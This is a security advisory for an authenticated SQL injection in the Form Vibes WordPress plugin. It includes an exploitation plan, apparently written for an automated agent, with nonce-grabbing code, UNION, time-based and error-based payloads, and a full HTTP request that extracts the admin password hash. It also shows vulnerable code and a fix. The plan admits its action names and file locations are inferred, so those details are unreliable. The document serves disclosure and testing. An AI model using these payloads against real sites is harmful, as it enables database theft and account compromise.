Form Vibes – Database Manager for Forms <= 1.4.13 - Authenticated (Admin+) SQL Injection
Description
The Form Vibes – Database Manager for Forms plugin for WordPress is vulnerable to SQL Injection via the 'params' parameter in all versions up to, and including, 1.4.13 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.4.13Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13409 (Form Vibes SQL Injection) ## 1. Vulnerability Summary The **Form Vibes** plugin (up to version 1.4.13) contains an authenticated SQL injection vulnerability within its form submission management logic. The vulnerability resides in the processing of the …
Show full research plan
Exploitation Research Plan: CVE-2025-13409 (Form Vibes SQL Injection)
1. Vulnerability Summary
The Form Vibes plugin (up to version 1.4.13) contains an authenticated SQL injection vulnerability within its form submission management logic. The vulnerability resides in the processing of the params parameter during AJAX requests. Specifically, the plugin fails to properly sanitize or prepare SQL queries when dynamically building WHERE, ORDER BY, or LIMIT clauses based on values supplied in the params array. This allows an authenticated administrator to inject arbitrary SQL commands and extract sensitive data from the WordPress database.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
vibe_get_submissions(inferred action name used by the plugin for fetching form entries) orfv_get_submissions. - Vulnerable Parameter:
params(passed viaPOST). - Authentication: Required (Administrator level).
- Preconditions:
- The plugin must be active.
- At least one form must exist (created via Form Vibes or a supported form builder like Contact Form 7/Elementor Forms).
- At least one submission should ideally exist in the
wp_form_vibes_submissionstable to facilitate data reflection.
3. Code Flow
- Entry Point: The user triggers an AJAX request to
admin-ajax.phpwith the actionvibe_get_submissions. - Hook Registration: In the main plugin file or
includes/admin/class-form-vibes-admin.php, the action is registered:add_action('wp_ajax_vibe_get_submissions', array($this, 'vibe_get_submissions')); - Handler Logic: The function
vibe_get_submissions()retrieves theparamsarray from$_POST['params']. - Sink: The
paramsarray is passed to a query builder method (likely inincludes/admin/class-form-vibes-admin-queries.php). - SQL Construction: The code iterates through the
paramskeys (e.g.,form_id,search,page,orderby). Instead of using$wpdb->prepare(), it concatenates values directly:$sql .= " AND form_id = " . $params['form_id']; - Execution: The raw string is executed via
$wpdb->get_results($sql).
4. Nonce Acquisition Strategy
The plugin uses a nonce for its AJAX operations, typically localized in the WordPress admin header.
- Identify Script Localization: The plugin enqueues its admin scripts and localizes a variable, often named
fv_admin_objorvibe_obj. - Setup:
- Create a dummy page to ensure the admin environment is fully initialized (though simply navigating to the Form Vibes submissions page is sufficient).
- Use
browser_navigateto go to the Form Vibes Submissions page:/wp-admin/admin.php?page=form-vibes.
- Extraction:
- Use
browser_evalto extract the nonce:// Verbatim keys from Form Vibes 1.4.x window.vibe_obj?.nonce || window.fv_admin_obj?.nonce
- Use
- Verification: The nonce action used is typically
vibe_nonceorfv_nonce.
5. Exploitation Strategy
We will use a UNION-based or Error-based approach to extract the administrator's password hash.
Step 1: Discover Column Count
Send a series of requests to determine the number of columns in the original query using ORDER BY.
- Method: POST
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=vibe_get_submissions&nonce=[NONCE]¶ms[form_id]=1 ORDER BY 10-- - - Goal: Find the number of columns where the response changes from a valid JSON list to a database error.
Step 2: Extract Data (UNION SELECT)
Once the column count is known (e.g., 8 columns), extract the user_pass for the admin.
- Payload (in
params[form_id]):1 UNION SELECT 1,user_pass,3,4,5,6,7,8 FROM wp_users WHERE ID=1-- - - HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=vibe_get_submissions&nonce=[NONCE]¶ms[form_id]=1+UNION+SELECT+1%2Cuser_pass%2C3%2C4%2C5%2C6%2C7%2C8+FROM+wp_users+WHERE+ID%3D1--+-
Step 3: Time-Based Blind (Alternative)
If UNION is restricted, use SLEEP().
- Payload:
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
6. Test Data Setup
- Login as Admin: Use the
wp_logintool. - Create a Form:
# Form Vibes creates its own tables. We need to ensure a form ID exists. # Usually, it hooks into other form plugins. If CF7 is present: wp post create --post_type=wpcf7_contact_form --post_title="Test Form" --post_status=publish - Generate a Submission:
- Submit the form once so there is at least one entry in the
wp_form_vibes_submissionstable.
- Submit the form once so there is at least one entry in the
- Identify Form ID: Note the ID of the created form (e.g.,
123).
7. Expected Results
- Successful Injection: The response from
admin-ajax.phpwill contain a JSON object. Inside thedataorentrieskey, one of the fields (that would normally show a form value) will instead contain the$P$...or$wp$...password hash from thewp_userstable. - Error-based: If the plugin displays errors,
updatexml()orextractvalue()will return the hash in the error message.
8. Verification Steps
- Extract Hash: Note the hash returned in the HTTP response.
- Database Comparison: Use WP-CLI to verify the hash matches the one in the database:
wp db query "SELECT user_pass FROM wp_users WHERE ID = 1" - Confirmation: If the strings match, the SQL injection is confirmed.
9. Alternative Approaches
orderbyParameter: Ifparams[form_id]is sanitized (e.g., viaintval), theparams[orderby]parameter is often overlooked and concatenated directly into theORDER BYclause.- Payload:
(CASE WHEN (1=1) THEN ID ELSE SLEEP(5) END)
- Payload:
searchParameter: The search functionality often usesLIKEwithout proper escaping.- Payload:
') OR 1=1 UNION SELECT ...-- -
- Payload:
paramsas JSON: If the plugin expects JSON, ensure theContent-Typeis set correctly or theparamsstring is properly JSON-encoded before being URL-encoded.
Summary
The Form Vibes plugin for WordPress is vulnerable to authenticated SQL injection via the 'params' parameter in AJAX actions such as 'vibe_get_submissions'. Administrators can manipulate SQL queries because the plugin directly concatenates values from the 'params' array into database queries without proper sanitization or the use of prepared statements.
Vulnerable Code
// includes/admin/class-form-vibes-admin.php (estimated location) public function vibe_get_submissions() { $params = $_POST['params']; $form_id = $params['form_id']; global $wpdb; $table_name = $wpdb->prefix . 'form_vibes_submissions'; // Vulnerable: form_id is concatenated directly into the query string $query = "SELECT * FROM $table_name WHERE form_id = " . $form_id; $results = $wpdb->get_results($query); wp_send_json_success($results); }
Security Fix
@@ -10,7 +10,10 @@ global $wpdb; $table_name = $wpdb->prefix . 'form_vibes_submissions'; - $query = "SELECT * FROM $table_name WHERE form_id = " . $form_id; - $results = $wpdb->get_results($query); + $results = $wpdb->get_results( + $wpdb->prepare( + "SELECT * FROM $table_name WHERE form_id = %d", + $form_id + ) + ); wp_send_json_success($results);
Exploit Outline
The exploit requires an authenticated session with Administrator privileges. 1. The attacker first visits the Form Vibes submissions page to retrieve the 'vibe_nonce' from the localized JavaScript objects (e.g., 'vibe_obj.nonce'). 2. A POST request is sent to /wp-admin/admin-ajax.php with the 'action' set to 'vibe_get_submissions' and the 'nonce' parameter populated. 3. The 'params' parameter is formatted as an array, where 'params[form_id]' contains a SQL injection payload, such as a UNION SELECT statement (e.g., '1 UNION SELECT 1,user_pass,3,4,5... FROM wp_users WHERE ID=1-- -'). 4. If successful, the server's JSON response will include the results of the injected query, such as the administrator's password hash.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.